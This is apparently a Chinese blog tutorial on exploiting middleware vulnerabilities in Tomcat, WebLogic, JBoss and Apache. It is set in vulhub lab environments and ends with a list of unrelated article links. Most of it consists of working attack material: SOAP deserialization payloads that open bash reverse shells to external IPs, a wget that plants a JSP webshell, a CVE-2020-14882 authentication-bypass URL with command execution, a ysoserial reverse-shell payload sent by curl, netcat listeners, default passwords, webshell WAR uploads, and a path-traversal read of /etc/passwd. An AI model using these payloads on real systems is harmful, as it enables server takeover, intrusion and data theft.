当前位置: 首页 > ops >正文

常见的中间件漏洞(tomcat,weblogic,jboss,apache)

Tomcat

CVE-2017-12615

开启靶场命令

docker-compose up -d

打开靶场以后,打开抓包刷新一ip

tomcat8

同样先开启环境,将哥斯拉生成的jsp木马文件,压缩成zip文件,再将后缀改成war

下面找到上传点,上传文件即可

因为我们上传的是zk.war文件,所以url写zk/zk.jsp

CVE-2020-1938

tomcat默认的conf/server.xml中配置了2个Connector,一个为 8080 的对外提供的HTTP协议端口, 另 外⼀个就是默认的 8009 AJP协议端口,两个端口默认均监听在外网ip。

下面命令需要python2环境,和一个cve-2020-1938.py文件

python cve-2020-1938.py -p 8009 -f /WEB-INF/web.xml ip地址

WebLogic

cd vulhub-master/weblogic/weak_password

默认页面

url后面加console,登录页面

账号密码 :weblogic/Oracle@123

然后点部署,安装,上载文件

然后一直下一步,完成上传文件

这样就可以访问到了

然后用连接工具练一下

CVE-2017-3506

还是刚才那个靶场

进入页面抓包

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"><soapenv:Header><work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"><java version="1.8.0_131" class="java.beans.XMLDecoder"><object class="java.lang.ProcessBuilder"><array class="java.lang.String" length="3"><void index="0"><string>/bin/bash</string></void><void index="1"><string>-c</string></void><void index="2"><string>bash -i &gt;&amp; /dev/tcp/124.221.58.83/6666 0&gt;&amp;1</string></void></array><void method="start"/></object></java></work:WorkContext></soapenv:Header><soapenv:Body/>
</soapenv:Envelope>

放行即可

CVE-2019-2725

同理

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing"
xmlns:asy="http://www.bea.com/async/AsyncResponseService">
<soapenv:Header>
<wsa:Action>xx</wsa:Action>
<wsa:RelatesTo>xx</wsa:RelatesTo>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>wget http://114.132.92.17/2.txt -O servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/678.jsp
</string>
</void>
</array>
<void method="start"/></void>
</work:WorkContext>
</soapenv:Header><soapenv:Body>
<asy:onAsyncDelivery/>
</soapenv:Body></soapenv:Envelope>

CVE-2018-2628

工具

CVE-2018-2894

docker-compose logs | grep password

设置web服务测试开启: 域结构 -> base-domain -> 高级 -> 启动Web服务测试页

/ws_utc/config.do

把上面地址改成下面的地址,然后点提交。

/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css

/ws_utc/css/config/keystore/1726815031601_zk2.jsp

然后用weshell工具连接

CVE-2020-14882

默认登录页面

绕过登录认证

/console/css/%252e%252e%252fconsole.portal

多试几次就可以绕过

第一种方式

url后面直接加下面

/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec('touch%20/tmp/success');")

然后进入容器

docker exec -it 1e044bd903ea /bin/bash
ls /tmp

第二种方式

写一个1.xml内容如下,把它放到一个能访问的服务器下

<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>bash</value>
<value>-c</value>
<value><![CDATA[bash -i >& /dev/tcp/101.201.29.59:7001/6666 0>&1]]></value>
</list>
</constructor-arg>
</bean>
</beans>

开启监听

nc -lvvp 6666

用python开一个临时的http服务,用来访问1.xml

python3 -m http.server 88

然后url后面访问

/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://101.201.29.59:88/1.xml")

然后监听就可以反弹到shell了

jboss

CVE-2015-7501

/invoker/JMXInvokerServlet 

这存在反序列化漏洞

反弹shell

bash -i >& /dev/tcp/101.201.29.59/6666 0>&1

base64编码

YmFzaCAtaSA+JiAvZGV2L3RjcC8xMDEuMjAxLjI5LjU5LzY2NjYgMD4mMQ==

开监听

nc -lccp 6666

用工具生成exp.ser

java -jar ysoserial-all.jar CommonsCollections5 "bash -c{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMDEuMjAxLjI5LjU5LzY2NjYgMD4mMQ==}|{base64,-d}|{bash,-i} ">exp.ser 
curl http://8.152.207.233:8080/invoker/JMXInvokerServlet --data-binary @exp.ser

CVE-2017-7504

访问漏洞地址

/jbossmq-httpil/HTTPServerILServlet

使用python运行jexboss.py工具直接执行下面语句即可拿到shell

python jexboss.py -u http://101.201.29.59:8080

CVE-2017-12149

搭建好靶场以后,验证是否存在漏洞访问

/invoker/readonly

返回500,说明页面存在,此页面存在反序列化漏洞

可以直接使用工具检测漏洞

Administration Console弱口令

先搭建好靶场

查看密码

/jboss-6.1.0.Final/server/default/conf/props/jmx-console-users.properties

登录你url

/admin-console/login.seam

上传后门war

上传上去连接即可

低版本JMX Console未授权

搭建好靶场

找到这里

这里上传war木马文件

然后连接即可

高版本JMX Console未授权

进入靶场以后

找到这里

远程部署war包

然后输入nvoke

连接webshell

Apache

CVE-2021-41773

环境搭建

docker pull blueteamsteve/cve-2021-41773:no-cgid 
docker run -dit -p 8080:80 blueteamsteve/cve-2021-41773:no-cgid

使用

curl  http://121.40.229.129:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd
http://www.xdnf.cn/news/16716.html

相关文章:

  • Spring Boot 项目问题:Web server failed to start. Port 5566 was already in use.
  • ESP32 外设驱动开发指南 (ESP-IDF框架)——GPIO篇:基础配置、外部中断与PWM(LEDC模块)应用
  • pdw估计edw怎么估计
  • VitePress 使用详解 -静态页面生成器
  • 解决SparkSQL创建出来的数据库hive中无法识别的问题
  • #Datawhale 组队学习#7月-强化学习Task6
  • C语言复习记录
  • OracleJDK和OpenJDK​区别,为什么Spring官方推荐使用OpenJDK?
  • 微服务 02
  • 2025虚幻5光明之魂开发思考1——借鉴软件工程
  • 初始sklearn 数据集获取、分类、划分与特征工程
  • 元素定位常见问题
  • Redis线程模型讨论
  • Flutter兼容的iOS的最低版本号
  • Java 大视界 -- Java 大数据在智能医疗远程健康监测与疾病预防预警中的应用(374)
  • 【IQA技术专题】DISTS代码讲解
  • Git 详细安装配置教程(Windows版)
  • 【每日一错】mysql账户及权限删除
  • 计数组合学7.9( 标量积)
  • vk框架或者普通函数封装的一些函数可以拿取使用【会持续更新】
  • [特殊字符] 数据可视化结合 three.js:让 3D 呈现更精准,3 个优化经验谈
  • 2025年物联网新趋势:格行随身WiFi的模块化架构与低延迟优化
  • 【09】大恒相机SDK C#开发 ——库函数 IntPtr ConvertToRGB24详细解释 及 示例
  • 【烧脑算法】Dijkstra 算法:解决最短路问题
  • Unity_数据持久化_PlayerPrefs存储各数据类型
  • 【爬虫实战】使用Python和JS逆向基于webpack的游戏平台
  • 【Java安全】CC1链
  • 计算机网络:什么是光猫
  • 安卓脱壳指南
  • 5G毫米波射频前端设计:从GaN功放到混合信号集成方案